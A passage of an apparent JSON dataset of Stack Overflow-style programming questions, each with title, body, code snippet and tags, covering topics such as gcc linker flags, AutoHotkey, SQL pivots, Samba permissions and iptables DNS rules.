call the dialog like this \n\nThe script\n\nJS\n\nI don't know how to bring the Id
value to the View.aspx.\n", "<input type=\"button\" value=\"<
%#((DataRowView)Container.DataItem)[\"Id\"] %>\" onclick=\"javascript:Open()\"
/>\n", "dialog-framework modal-dialog"], "3969447": ["Why in Linux compiler we have
to give additional arguments while compiling and running C programs?", "I have
implemented semaphores in Linux last year. But for that I have to use -lpthread.\
nNow while implementing log10() function in C, I surfed the INTERNET and I saw that
I have to use -lm. \nI want to know why these kind of command line arguments are
necessary in Linux.And Does this rule is compiler oriented? \n(In windows Turboc
compiler, I never used these kind of arguments.)\n", "", "c gcc command-line-
arguments"], "5360156": ["Mouse Control with autohotkey", "I'm making a script for
2 differents windows, and when i clic on my first window , a click in the same
position in the other window occurs. The problem is, my script make the clic but
the x axis on the second window is always 0... and i dunno why :S\nMaybe you got a
solution or another way to script it ?\nThis is my script :\n\n", "#NoEnv ;
Recommended for performance and compatibility with future AutoHotkey releases.\
n#Warn ; Recommended for catching common errors.\nSendMode Input ; Recommended
for new scripts due to its superior speed and reliability.\nSetWorkingDir
%A_ScriptDir% ; Ensures a consistent starting directory.\n\n;retrouver les id de 2
fenetres\n\nWinGet, first_id, ID, window1 \n\nWinGet, sec_id, ID, window2\n\n\n\n\
n;activation des fenetres\n\nWinActivate, ahk_id %sec_id%\nWinActivate, ahk_id
%first_id%\n\n\n\n\n; fonction pour quitter la macro\n~Esc::ExitApp \nreturn\n\n\n\
n;test repeter clic souris\n\n;LeftClic\n\n\n~LButton::\n\n\n\n\n{\nMouseGetPos,
xposi, yposi \n\n\nControlClick, x%xposi% y%yposi%, ahk_id %first_id%,,LEFT\n\
nWinActivate, ahk_id %sec_id%\n\nControlClick, x%xposi% y%yposi%, ahk_id %sec_id
%,,LEFT\n\nWinActivate, ahk_id %first_id%\n\nMouseMove, xposi, yposi \n\n\n}\n\
nreturn\n", "mouse autohotkey"], "4952076": ["CScrollBar thumb tracking not
working", "I'm trying to use a CScrollBar to navigate a list of items in a dialog.
I'm catching OnVScroll messages in the dialog, and the scroll bar correctly
responds to clicking the arrows at the top and bottom of the bar, and to clicking
the bar's range to advance by full pages. The problem is that when you try to drag
the thumb, it doesn't respond at all until you release the mouse button, at which
point the thumb moves to the correct position.\nI used spy++ to look for WM_VSCROLL
messages and it seems like they're only being sent with the SB_THUMBTRACK mode when
you click on the thumb and when you release it, but not while dragging. The msdn
page on CScrollBar however says that these messages should be sent continuously
while the
thumb is being dragged. Since I'm not getting those messages, I don't know where
the thumb is and can't set the current position.\nI don't think the messages are
being intercepted anywhere else, first because spy++ didn't see them even when I
set it to log all messages, and second because the bar does get the two thumbtrack
messages when clicking and releasing.\nI have this problem whether I give the
dialog the WS_VSCROLL style or I create a CScrollBar and place it in the dialog.\
nIs there something I'm missing?\n", "", "c++ mfc scrollbar"], "5163542":
["Optimizing a simple jQuery image carousel", "I need to cycle through 4 images on
my site, I didn't want to add another plugin to the site, so i created my own
simple carousel (html, css, and js below)\nMy question is, just from looking at
this code, is there an obvious simpler/better way to do it?\nhtml:\n\ncss:\n\njs:\
n\n", "<section id=\"carousel\">\n <img src=\"images/image_00.jpg\"
width=\"202\" height=\"162\" />\n</section>\n", "jquery html5 carousel"],
"2180098": ["I need to store the all Saturdays and Sundays in one array and Reaming
as another string Array", "\nBy the above code i am getting all saturdays and
sundays in a given month .I want store all these days in an array and the other
days in another String array.\n", "public class Sample {\n public static void
main(String[] args) {\n int year = 2012;\n\n // put the month you
want\n int month = Calendar.MARCH;\n\n Calendar cal = new
GregorianCalendar(year, month, 1);\n do {\n int day =
cal.get(Calendar.DAY_OF_WEEK);\n if (day == Calendar.SATURDAY || day ==
Calendar.SUNDAY) {\n
System.out.println(cal.get(Calendar.DAY_OF_MONTH));\n }\n
cal.add(Calendar.DAY_OF_YEAR, 1);\n } while (cal.get(Calendar.MONTH) ==
month);\n }\n", "java android calendar string-array"], "1227841": ["ls executes
slowly on remote server", "I have a very strange problem, one that may be too
difficult to diagnosis without machine access, but maybe someone here may be able
to help.\nI am using OS X, and on my local machine executes instantly. However,
when I log into one particular remote server, and execute in the home directory
only, it takes about 15 seconds to return. And there's only a few files in the
home directory. If I switch to a sub-directory, or a higher directory, executes
immediately.\nNow here's the weird thing: if I use a different computer to access
the remote server and run on the home directory, it returns immediately.\nIn
summary: my particular laptop + one particular remote server + one particular
directory = slow ls execution\nAny ideas? Or at least a way to go about debugging
this?\nEDIT: Okay, more weirdness. It's only slow on the first execution of ls.
All subsequent executions are fast. I guess I never bothered to type it again
after it was so slow the first time.\n", "ls", "linux performance operating-systems
ls"], "3506935": ["QtScript privilege system?", "I'd like some application
objects/properties usable by \"privileged\" scripts and a subset of these usable by
non privileged scripts. Any suggestions on how to implement this?\nI could create
two instances of the scripting engine. I can control access by controlling
visibility. Alternately I could implement checks for privilege in everything I
expose to the script engine.\nThanks!\n", "", "qt qtscript"], "3914513": ["Why does
Clojure distinguish between symbols and vars?", "I saw this question already, but
it doesn't explain what I am wondering about.\nWhen I first came to Clojure from
Common Lisp, I was puzzled why it treats symbols and keywords as separate types,
but later I figured it out, and now I think it is a wonderful idea. Now I am trying
to puzzle out why symbols and vars are separate objects.\nAs far I know, Common
Lisp implementations generally represent a \"symbol\" using a structure which has
1) a string for the name, 2) a pointer to the symbol's value when evaluated in
function call position, 3) a pointer to its value when evaluated outside call
position, and 4) property list, etc.\nIgnoring the Lisp-1/Lisp-2 distinction, the
fact remains that in CL, a \"symbol\" object points directly to its value. In other
words, CL combines what Clojure calls a \"symbol\" and a \"var\" in a single
object.\nIn Clojure, to evaluate a symbol, first the corresponding var must be
looked up, then the var must be dereferenced. Why does Clojure work this way? What
benefit could there possibly be from such a design? I understand that vars have
certain special properties (they can be private, or const, or dynamic...), but
couldn't those properties simply be applied to the symbol itself?\n", "", "clojure
lisp symbols"], "3942976": ["Converting UTC dates to other timezones", "I'm
converting a UTC time to another timezone, using this method:\n\nSo the input is
2011-03-01 15:10:37 but the output of this (value of result) is 2011-03-01 05:40:37
while it seems off and according to this link it should be 2011-03-01 09:10:37 what
am I doing wrong?\n", "SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd
HH:mm:ss\");\nDate parsed = format.parse(\"2011-03-01 15:10:37\");\nTimeZone tz =
TimeZone.getTimeZone(\"America/Chicago\");\nformat.setTimeZone(tz);\n\nString
result = format.format(parsed);\n", "android datetime timezone"], "6005483":
["Javascript library for resampling an array?", "I'm trying to visualize some data
on an HTML canvas and I'm facing an issue similar to this one. That is, the size
of my data doesn't exactly match the size of my canvas.\nIn one instance I'd like
to plot a 1024 point signal on a canvas that's 100px wide. (E.g., an audio
waveform.)\nIn another instance I'd like to show a 1024 by 5000 point matrix on a
canvas that's 100 px high by by 500 px wide. (E.g., an audio spectrogram.) \nIn
both cases, I'll need to resample my data so that it fits on the canvas. Does
anyone know of a library/toolkit/function in Javascript that can handle this?\n**
EDIT **\nI'm aware that there are many techniques I could use here. One possibility
is to simply discard or duplicate data points. This would do in a pinch, but
discarding/duplication is known to produce results that tend to look \"jagged\"
or \"blocky\" (see here and here). I'd prefer to use a slightly more sophisticated
algorithm that outputs smoother images such as Lanczos, bilinear or bicubic
resampling. Any of these would meet my needs.\nMy question isn't about which
algorithm to use, though, it's about whether any of them have been implemented in
open-source javascript libraries. Surprisingly, I haven't been able to find much in
JS. Coding my own resampling function is obviously an option, but I wanted to check
with the SO community first to make sure I wasn't re-inventing the wheel.\n(This
answer gives a code listing that's very close to what I want, except that it
operates directly on the canvas objects rather than the data arrays, and it forces
the aspect ratios of the input and output to be the same. If nothing else is
available, I can definitely work with this, but I was hoping for a solution that's
a bit more general and flexible, along the lines of Matlab's resample.)\n", "",
"javascript canvas interpolation resampling"], "5962104": ["Halo reach stats api?",
"Can someone please give me an example of how to access the Halo: Reach stats API\
nusing jquery ajax?\nHere is an exert:\n\nGetGameHistory(System.String,
System.String, System.String, System.String)\nThis function is used to browse
through a player's history of games. \nParameters\nidentifier: Your application's
identifier string.\n gamertag: The target player's gamertag.\n variant_class: The
variant class of game to get. Valid values are \"Campaign\",
> \"Firefight\", \"Competitive\", \"Arena\", \"Invasion\", \"Custom\".
Pass \"Unknown\" to get all games.\n iPage: The page of results you want, starting
at page 0.\nReturn Value\n A GameHistoryResponse object containing a list of the
games matching the criteria you specified.\nExample\n
http://www.bungie.net/api/reach/reachapijson.svc /player/gamehistory/
{identifier}/{gamertag}/{variant_class_string}/{iPage} \n\nhere was my attempt:\n\
nHowever I get \nWhat does this mean?\nUpdate:\nOk so I fixed it by setting
appropriate permissions.\nBut now I am getting a 400 response from the server.\nAny
idea what would cause this?\nUpdate2:\nAPI IS NOT OPERATIONAL! hence why it is not
working :(\n", "var apikey = 'xxx';\nvar gamertag = 'The Hailwood';\nvar
variant = 'Competitive';\nvar page = '0';\nvar url =
'http://www.bungie.net/api/reach/reachapijson.svc/player/gamehistory/'+apikey+'/'+g
amertag+'/'+variant+'/'+page;\n\n$(document).ready(function() {\n $.ajax({\n
url: url,\n success: function(data) {\n $('#return').html(data);\n }\
n });\n});\n", "jquery ajax json api"], "5040243": ["CSS3 3D Transform Cube render
issue at Firefox", "I want to create a 3d cube slider.\nIt is near ready:
http://grtest.hu/cube/\nAt Chrome the rotate animation is good, but at Firefox
there is a space between the slides when rotating:\n\nIs there a way to fix the
animation in Firefox?\n", "", "css3 transform"], "5929478": ["Using Redis Pubsub is
it possible to subscribe to changes to a Set?", "Basically when my client apps
start I want to retrieve a 'View of the World' using the GetMembersOfSet command
but then have subsequent updates published to the clients.\nSo I need to subscribe
to updates of a Set.\nThanks\n", "", "redis"], "5480909": ["Is there HAVING
statement in Sphinx?", "Subject.\nNeed to filter after GROUP BY.\nP.S: I know,
Sphinx is not an SQL-storage alternative :-) \n", "", "sphinx"], "4208167": ["How
to make an automatic title head in my own class but with some user definable
texts?", "Using my created document class will output an automated
title header. My own created document class is entitled . Is there a possible way
for this not to become automated? I'd like to create a command for this but I don't
really know how to. I simply want a command for each of this: \"school name\", next
line is \"dept name\" and after which is command for the \"college name\". And this
should appear at the upper center of the paper. \nThis is my code:\n\nHow could I
create the command for those three? The code above, automatically prints the text
in static. What if the user wants to modify the content of the text?\nHere is the
sample PDF output of this file code\n\n", "myclass", "header-footer"], "2454915":
["Allow access to Amazon AWS console using IAM", "Is it possible to setup separate
accounts using Amazon's IAM service what would allow two different users to access
the Amazon web dashboard/console? I'd like a separate account that can access these
pages but I'd prefer not to have to give away the keys to the kingdom to do so. \
nIf so can IAM policies be specified to allow restrict what the user can do with
the console?\n", "", "amazon-ec2 amazon-web-services"], "5614850": ["How can I get
a black background in daylight using flash sync speed with no extra gear?", "I have
seen sports photography where the background is completely wiped out (black) during
daylight. I'm trying to achieve a similar (pure black background) effect with no
extra gear, just a DSLR camera (Canon 20D). \nI think this is doable using sync
speed (where the sensor is fully exposed to the flash burst), closer flash burst to
the subject, and some suitable shutter setting. How can I minimize light to the
sensor before 120th of a second at ISO 100? \n", "", "canon flash digital-
photography sync-speed"], "2829924": ["SQL Server - Transactional Replication
(partial data only)", "I have 6 months of data, how do I replicate only the most
current 3 months of data to the subscribers?\n", "", "sql-server database sql-
server-2005 tsql"], "4979650": ["Running a script when I receive PayPal payment",
"I want to set things up so that when a user pays me through PayPal, a PHP script
will be run. How can I set up this kind of notification?\n", "", "php paypal
notifications"], "1871215": ["Implement Facebook Payer Promotions to buy an items
which is worth more than $3", "I am working on an implementation of the Facebook
payer promotions on my website. I found that we cannot ask users to add a little
more money based on what Facebook offer($3), \nFor instance, my item is worth $5,
in order to get this the user just needs to pay $2 instead of $5 thanks to this
Facebook offer.\nI'd like to know is there an option to achieve this goal with
Facebook's Javascript API.\n", "", "facebook facebook-javascript-sdk promotions"],
"1207031": ["POST with NSURLConnection - NO JSON", "I am trying to write an iPhone
app in Objective-C. I need to POST data using NSURLConnection. Every example I can
find deals with JSON; I do not need to use JSON. All I need to do is POST the data
and get a simple 1 or 0 (succeed or fail) from a PHP script. Nothing more.\nI came
across this code but I am not sure how to use it or modify it to not use JSON:\n\
n", "- (void)performRequest {\n NSMutableURLRequest *request =
[[NSMutableURLRequest alloc] initWithURL:[NSURL
URLWithString:@\"http://someplace.com/\"]];\n [request setValue:@\"Some Value\"
forHTTPHeaderField:@\"Some-Header\"];\n [request
setHTTPBody:@\"{\\\"add_json\\\":\\\"here\\\"}\"];\n [request
setHTTPMethod:@\"POST\"];\n [NSURLConnection connectionWithRequest:[request
autorelease] delegate:self];\n}\n\n- (void)connection:(NSURLConnection *)connection
didFailWithError:(NSError *)error {\n // Fail..\n}\n\n-
(void)connectionDidFinishLoading:(NSURLConnection *)connection {\n // Request
performed.\n}\n", "objective-c xcode post nsurlconnection"], "3182860": ["Samba
shared folder and permissions (CentOS 5.5)", "I have set up a samba shared
folder /shared\nI have created 2 users Jack and Jill, and they are part of the
Developers group. Developers have read write and execute permissions on the /shared
directory.\nI have executed chmod g+rws /shared to ensure that the folder group is
used and not the user's default group when adding files.\nHere's my problem:\nJack
is on a Windows 7 machine and creates a new folder \"New Folder\" in the samba
shared folder. Jill is logged onto the linux machine. Jill can read the contents of
\"New Folder\" but can't modify or delete it. Why?\nIf Jill creates a folder \"New
Folder 2\" in the /shared direcory while logged in, Jack can see this folder fine
and can modify/delete it. \nWhy are the permissions different when a file or folder
is added in windows to when I create the folder on linux?\nI want the default
behaviour to be that members of the Developers group have read write permissions on
all files and folders in the directory. So if Jack adds a folder in windows, Jill
has permissions to delete it by default.\n", "", "linux samba chmod file-
permissions shared-folders"], "5569811": ["How do I safely reinstall a (audio)
driver?", "I suspect my audio driver to be misbehaving. As my previous question
didn't return anything useful, I'm trying to do anything I can think of.\nI now
want to reinstall my sound drivers. But I have no idea how to do this safely. Could
anybody help me please?\n", "", "windows-7 drivers audio sound-card reinstall"],
"5091784": ["customize alert box in corona sdk?", "I need to customize my alert box
with three button and color full images and both the button need to have different
skins on them.\nI was able to do it for one skin. But i am unable to figure out
about the two skins. \n", "", "lua corona"], "3077394": ["Superscript in jfree
chart", "I have a x-y axis in jfree chart. In legend I want to use
superscript(A/B^2) is there any solution for this?I found something for labels but
how does it work for jfreechart?\n", "", "jfreechart"], "2732902": ["NumPy: load
heterogenous columns of data from list of strings", "I'm working with array data
stored in an ASCII file (similar to this thread). My file is at least 2M lines (158
MB), and is divided into multiple sections with different schemas. In my module to
read the format, I want to read the whole file via , so I can index the positions
of each section, then read each section that I need into NumPy data structures.\
nFor example, one excerpt of a section is:\n\nWhich has the schema , and a later
part will have have a simpler schema:\n\nHow can I quickly load in different
sections of the lines with NumPy? I see there is , but it requires a file handle,
and reads all the way to the end. I also see functions, but I'm not sure how to
use them with my already read . Do I need to read the file twice?\nWith regards to
the heterogeneous data types, I figure I can use a compound , like , correct?\n",
"lines = open('myfile.txt', 'r').readlines()", "python load numpy"], "2165956":
["how to resize <input> tag to fit its content?", "I do not care for a specific
technology, it could be js, css or even some unstandard and evil html attributes. I
just want to get bigger if user types over the right border.\n", "", "javascript
css html5 webforms input"], "73543": ["Is it currently possible to build Eclipse
Plugins by Maven AND have nice IDE Integration?", "I'm currently evaluating maven
to improve our build process. The building and creating of normal jar files works
so far, although I'm not entirely happy with the Maven IDE.\nI'm now at that point,
where all libs I need for our project are built, and I'm moving on to the Eclipse
RCP projects. And now I'm not sure how to go on.\nThere are some plugins I need to
build first, before moving on to the actual RCP part. Therefore I have actually 3
problems.\nI want to build those plugins, the only real solution for that seems to
be the maven-bundle-plugin: http://felix.apache.org/site/apache-felix-maven-bundle-
plugin-bnd.html\nBut, For nice IDE integration I also need the appropriate files
(plugin.xml, build.properties, etc ...) which should be generated automatically.\
nFor building the RCP parts, it seems so far the only solution is only the pde-
maven-plugin http://mojo.codehaus.org/pde-maven-plugin/ which, as far as I can
tell, uses ant-pde. This is stupid, isn't it?\nThe only other thing I could found
was tycho (http://www.sonatype.com/people/2008/11/building-eclipse-plugins-with-
maven-tycho/) , but this is till in a very early stage. \nand again, a nice Eclipse
integration is necessary. I really, really, really don't want to specify
dependencies twice.\nSo How do you build your Eclipse RCP projects with maven?\
nUpdate\nFor now, it seems that there is no such solution available. Tycho looks
very promising, but I wasted 2 days and didn't get it to run (the current version
at this point). Maybe it will be ready in half a year or so.\n", "", "java eclipse
maven-2 build eclipse-rcp"], "5626601": ["Java. Override method", "\nerror: method
does not override or implement a method from a supertype\n", "public class MyMap
extends LinkedHashMap<String, Serializable>\n{\n @Override\n public
Serializable get(String key)\n {\n return null;\n }\n}\n", "java
override"], "3950308": ["How to use form input to update code?", "I have a page
where I need to filter certain values provided by an embedded widget based on user
input in a text field.\nI can do this by appending certain parameters to the widget
code embedded on the page and refresh the page\nHow do I take the user input ,
replace the widget code and refresh the page?\nthis is the code I might need to
append to the widget code that already exist on my page.\n%22filter%22:%7B
%22keyword%22:%22userprovidedvalue%22%7D,\nI am using jsp\n", "", "javascript
jsp"], "4994975": ["Best way to maintain systemversions with small deviations?", "I
am about to start work
on a rather large php application that, in the end, supposively should be useable
in different countries.\nThe problem is that unfortunately i cannot just make a
single version that i maintain, as various parts of the application will be
different for some contries (like zip codes, telefon nr. and other requirements) \
nSo my question is, what approach is the best to make, if I am seeking to make an
application which needs to be fleksible, fast and easy to maintaine?\nThanks in
advance\n", "", "php system maintenance flexibility"], "1111590": ["Cannot Create a
Signature in Outlook 07", "I deployed Office 07 around the company and one user is
not able to make a signature. I found that when he clicks on the signature button
the window does not come up. Any Ideas on how to fix this?\n", "", "windows-xp
outlook-2007 ms-office"], "4874880": ["JQuery - CSS ninja help wanted", "I'm using
the JQuery Slider Control\nIE 6 looks FUBAR.\nScreenshot (how it should look)\
nimg24.imageshack.us/img24/9786/safarij.png\nScreenshot (IE6)\
nimg99.imageshack.us/img99/3418/ie6o.png\nWhat CSS can I use for IE6 to make it
look like Firefox/Chrome/Safari?\nAny CSS ninja magic would be greatly
appreciated.\n", "", "jquery css internet-explorer jquery-ui slider"], "100999":
["Django: Accented characters in settings.py are broken when accessed in a view",
"I have accented characters in my settings.py that I access in a view using
getattr(settings, 'MY_CONSTANT_NAME', []) but the getattr() call return broken
characters (for example, \"\u00f4\" become: \"\\xc3\\xb4\"). \nhere is the code in
view.py:\n\nWhat I have done so far to try to solve the problem:\n\nI put # --
coding: utf-8 -- as the first line of my settings.py and my views.py\nI put u'\
u00f4' or unicode('\u00f4') in front of special characters in settings.py\nI put
DEFAULT_CHARSET = 'utf-8' in settings.py\nI try all possible combination
of .decode('utf-8'), .encode('utf-8'), .decode('iso-8859-1'), .encode('iso-8859-1')
on the special characters in settings.py or in the views.py...\n\nNothing solve the
problem.\nAny suggestion to solve this problem?\nThank you\nEtienne\n", " from
django.conf import settings\n\n def getValueFromSetting(request):\n
mimetype = 'application/json' \n charset=utf-8' datasources =
getattr(settings, 'MY_CONSTANT_NAME', []) \n config= '{' \n config+=
'\"datasources\": ' + str(datasources).replace(\"'\", '\"') \n config+= '}'\
n\n return HttpResponse(config,mimetype) \n", "django
unicode encoding character-encoding"], "1871930": ["null control for java server
faces el", "I cannot figure out how to do a null check withing a jsf attribute.\
nHere is the error message I get:\n\nwhat is the proper way of checking for null?\
nThanks\n", "value=\"#{configTableBean.selectedRecord != null ?
configTableBean.selectedRecord.description : ''}\": Illegal Syntax for Set
Operation", "java jsf"], "4427373": ["arabic keyboard backspace issue android", "I
have an edit text and when I write Arabic text inside it and select any other view
and get back to my edit text and try to use backspace key, text not deleted and I
can't move the cursor in my text \ncan anyone help please ?\n", "", "android
edittext android-edittext arabic backspace"], "2813368": ["How do I know if an
object is a Objective-c object and therefore is handled by ARC?", "I saw a response
in S.O. that indicated if an object is NOT a Objective-c object, it is not subject
to ARC memory management, and therefore has to be released by me in my code. \nSo
with that in mind, how do I determine if an object (i.e. CFGregorianDate) is an
Objective-c object and therefore falls under ARC or not? Is there a list
somewhere? (I looked and couldn't find one).\n", "", "ios objective-c automatic-
ref-counting"], "3279566": ["c++ heap or stack allocation?", "So basically this is
a stack allocation:\n\nAnd this should be allocated in the heap:\n\
n----------------\nWhat if MyClass contains a variable? Does this: means that the
10byte long content of MyClass::test is allocated in the Heap instead of Stack\n",
"char inStack[10]; \n// and \nMyStruct cl;\n", "c++ memory stack heap"], "3951625":
["Getting PK of updated records in cakephp/sql server", "I have used bulk update to
sync datas between two tables as below\n\nAbove query will also return Primary key
of updated records using in sql server editor but when i debug the sql \n\nThen it
return for successful query and for unsuccessful query. \nIs there any idea to
fetch to array , so that i can use those ids to another table \n", "$sqlProc=\"\
nUPDATE cards\nSET cards.card_no = t2.card_number,\n
cards.expiry_date=t2.expiry_date OUTPUT INSERTED.Id AS 'updated_id'\nFROM cards\
nINNER JOIN card_temp t2 ON (cards.account_no = t2.account_number\n
AND cards.customer_name=t2.customer_name)\nWHERE cards.is_disabled='N'\";\n
debug($this->Request->query($sqlProc));\n", "php sql sql-server cakephp
bulkinsert"], "3539667": ["MySQL multiple table join query performance issue", "I
am trying to write a query for a search.\nI have a meta table with columns:\n\nI
want to pull a search like the following:\n\nHowever, the complication is that I
want to pull this from multiple sets of (multiple and multiple ) if that makes
sense.\nHere is one of the generated queries:\n\nSorry for the long query, but just
trying to make my point.\nThe query works just fine the problem being that when
some of these searches - namely, the select generated tables towards the beginning
of the query - return large result sets, the query time slows down dramatically,
and if I get a few large result sets then the query pretty much hangs the system to
where I have to end the process manually.\nI think the problem may lie with MySQL
(I believe postgre does not have this problem). I looked around and discovered that
mysql has problems with nested queries and joins.\nI am asking what the best way to
handle this would be? I ideally would like to avoid have multiple database calls as
I feel this should be unnecessary, so this is not an answer I am looking for unless
there is no alternative.\n", "ID | meta_key | meta_value\n", "mysql performance
join multiple-tables"], "3991316": ["SQL Sever Pivot Many Columns", "I've never
used a SQL Pivot, but I think now's my chance. Problem is, I really don't know how.
I've been reading documentation, but it seems like the result I want could be
slightly complicated, and I can barely handle simple pivots at this point.\nI have
this table\n\nand I want to query it so that my result set is in the format:\n\
nWhere every DataID from dataTable becomes a row, and the bit-value for ConatinerN
is 1 if the tuple {DataID, ContainerN} exists in dataTable, and 0 if it does not.
There are 480 ContainerIDs, so I would rather not specify them all by hand, but I
can if it's necessary.\nThanks for the help! \n", "Create table dataTable (dataID
int, containerID int)\n", "sql-server tsql pivot"], "4182554": ["how to build
openssl on android", "I am trying to build openssl on android (got from
https://github.com/guardianproject/openssl-android). need to make file of this and
use in another android project actually. When I try to add all folders of
downloaded openssl and build in prompt through ndk-build command, I get an error
like this:\n\nPlease let me know how to build .so file!!\n", ".so", "android
android-ndk openssl"], "4777835": ["AjaxControlToolkit ModalPopupExtender
dissapearing", "I have a message page which is displaying messages and a create
message panel using simple ajax and the AjaxControlToolkit. Problem is that i have
added a ModalPopupExtender to show a drop down list to select recipients that was
being displayed at the bottom when i click a message to display. This was because
the TargetControlID was inside one of the panels so I change to use javascript to
show the ModalPopupExtender. \nThe problem is that the popup windo displays for
just a short time then dissapears again?\n\nThis is the javascript\n\n", "
<asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\">\n <Triggers>\n
<asp:AsyncPostBackTrigger ControlID=\"msgBtn\" EventName=\"Click\" />\n
<asp:AsyncPostBackTrigger ControlID=\"btnClose\" EventName=\"Click\" />\n
<asp:AsyncPostBackTrigger ControlID=\"btnSend\" EventName=\"Click\" />\n
<asp:AsyncPostBackTrigger ControlID=\"btnAdd\" EventName=\"Click\" />\n
</Triggers>\n <ContentTemplate>\n <asp:Panel ID=\"msgRead\"
runat=\"server\" Visible=\"false\">\n <div class=\"messagePanel\">\n
<div class=\"SectionHeader\"><asp:Literal ID=\"msgType\" runat=\"server\" />
Message From <asp:Literal ID=\"msgFrom\" runat=\"server\" /></div>\n
<div class=\"msgTitle\"><asp:Literal ID=\"Literal8\" Text=\"<%$ Resources:Xh,Date
%>\" runat=\"server\" /></div>\n <div class=\"msgText\"><asp:Literal
ID=\"msgDate\" runat=\"server\" /></div>\n <div
class=\"msgClear\"></div>\n <div class=\"msgTitle\"><asp:Literal
ID=\"Literal9\" Text=\"<%$ Resources:Xh,Subject%>\" runat=\"server\" /></div>\n
<div class=\"msgText\"><asp:Literal ID=\"msgSubject\" runat=\"server\" /><br
/></div>\n <div class=\"msgClear\"></div>\n <div
class=\"lineDBlue\" style=\"width:490px;\"></div>\n <asp:TextBox
ID=\"msgBody\" runat=\"server\" TextMode=\"MultiLine\" Wrap=\"true\"
Height=\"350px\" Width=\"475\" class=\"XhTextArea\" />\n <br />\n
<div class=\"lineDBlue\" style=\"width:490px;\"></div>\n <div
style=\"width:487px;text-align:right;\">\n <asp:Button
ID=\"btnDelete\" CssClass=\"XhButton2\" Text=\"Delete\" runat=\"server\"
onclick=\"btnDelete_Click\"/>\n
<asp:Button ID=\"btnReply\" CssClass=\"XhButton2\"
Text=\"Reply\" runat=\"server\" onclick=\"btnReply_Click\"/>\n
<asp:Button ID=\"btnClose\" CssClass=\"XhButton2\" Text=\"Close\"
onclick=\"btnClose_Click\" runat=\"server\" OnClientClick=\"setForm();\"/>\n
</div>\n </div>\n </asp:Panel>\n <asp:TextBox
ID=\"msgRef\" Text=\"XXX\" CssClass=\"txtHidden\" runat=\"server\"/>\n
<asp:Button ID=\"msgBtn\" Text=\"\" CssClass=\"txtHidden\" runat=\"server\"
onclick=\"btnOpenMsg_Click\" />\n <asp:Panel ID=\"msgCreate\"
runat=\"server\">\n <div class=\"messagePanel\">\n <div
class=\"SectionHeader\"><asp:Literal ID=\"Literal7\" Text=\"<%$
Resources:Xh,CreateMessage%>\" runat=\"server\" /></div>\n <div
class=\"msgTitle\">To:&nbsp;</div>\n <div
class=\"msgText\"><asp:Literal ID=\"txtTo\" runat=\"server\" Text=\"\"/>\n
<asp:ImageButton ID=\"btnAddRecipient\" ImageUrl=\"img/add.png\" runat=\"server\" \
n AlternateText=\"<%$ Resources:Xh,messagesAddRecipient%>\"
Height=\"18\" \n Width=\"18\" align=\"middle\"
OnClientClick=\"showPopUp()\" /></div>\n <div
class=\"msgClear\"></div>\n <div class=\"msgTitle\">Subject:</div>\n
<div class=\"msgText\"><asp:TextBox ID=\"txt_msgSubject\" runat=\"server\"
Width=\"350px\" class=\"XhTextBox1\" /><asp:TextBoxWatermarkExtender
ID=\"TextBoxWatermarkExtender1\" runat=\"server\"
TargetControlID=\"txt_msgSubject\" WatermarkText=\"<%$ Resources:Xh,MessageSubject
%>\" WatermarkCssClass=\"XhTextBox1\" /></div>\n <div
class=\"msgClear\"></div>\n <div class=\"lineDBlue\"
style=\"width:490px;\"></div>\n <asp:TextBox ID=\"txt_msgBody\"
runat=\"server\" TextMode=\"MultiLine\" Wrap=\"true\" Height=\"330px\"
Width=\"475\" class=\"XhTextArea\" />\n <br />\n <div
class=\"lineDBlue\" style=\"width:490px;\"></div>\n <div
style=\"width:487px;text-align:right;\">\n <asp:Button
ID=\"btnSend\" Text=\"Send Message\" CssClass=\"XhButton2\" runat=\"server\"
onclick=\"btnSend_Click\" OnClientClick=\"setForm();\" />\n </div>\n
</div>\n </asp:Panel>\n <a href=\"#\"
style=\"display:none;visibility:hidden;\" onclick=\"return false\" ID=\"dummyLink\"
runat=\"server\">dummy</a>\n\n <asp:ModalPopupExtender
ID=\"ModalPopupExtender1\" \n runat=\"server\" \n
CancelControlID=\"btnCancel\"\n TargetControlID=\"dummyLink\" \n
PopupControlID=\"pnlAddRecipient\" \n
BackgroundCssClass=\"XhPopupBG\"\n DropShadow=\"true\"\n
BehaviorID=\"MyMPE\" />\n\n <asp:Panel ID=\"pnlAddRecipient\"
runat=\"server\">\n <div class=\"XhPopup\" style=\"width: 350px;\">\
n <div class=\"XhPopupBody\" >\n
<asp:UpdatePanel ID=\"UpdatePanel2\" runat=\"server\">\n
<ContentTemplate>\n <div> \n
<asp:DropDownList ID=\"ddlMessageTo\" runat=\"server\" width=\"325px\"
CssClass=\"XhComboBox\" /> \n </div>\n
</ContentTemplate>\n </asp:UpdatePanel>\n
<div class=\"Controls\">\n <br />\n
<asp:Button id=\"btnAdd\" type=\"button\" Text=\"Select Recipient\"
class=\"XhButton_blueborder\" onclick=\"btnAdd_Click\" runat=\"server\" />\n
<input id=\"btnCancel\" type=\"button\" value=\"Close\"
class=\"XhButton_blueborder\" />\n </div>\n
</div>\n </div>\n </asp:Panel>\n
</ContentTemplate>\n </asp:UpdatePanel>\n", "ajaxcontroltoolkit
modalpopupextender"], "1253090": ["Block all udp traffic except dns using
iptables", "I am trying to block all UDP traffic on my machine except for DNS
queries originating from my machine.\nI am using all ACCEPT policy because I don't
want to block any TCP traffic.\nHere are my rules:\n\nand here is the output of
iptables -L:\n\nbut DNS queries don't work, host commands time out, what am I doing
wrong here?\n", "iptables -A INPUT -p udp --sport 53 -j ACCEPT\niptables -A OUTPUT
-p udp --dport 53 -j ACCEPT\n\niptables -A INPUT -p udp -j DROP\niptables -A OUTPUT
-p udp -j DROP\n", "udp firewall iptables"], "3959031": ["Weird situation on
onClick(), if else condition is failing", "I'm having a very weird situation in my
app. I have an activity, on which I have log in button. On click I'm checking
whether user is logged in or not, and simultaneously showing proper message. My
code looks like this:\n\nOn else condition I'm printing on the .\nIn my case take a
scenario that user is not logged in, then will be shown. I have a button on my ,
on that button I'm just calling method. And I'm coming back from to . This is
confirmed that my method is called when coming back from .\nStill user is not
logged in and when I click again button on the my else condition is called. Why
again my condition is not called?\nI can't figure out why this is happening.\nAny
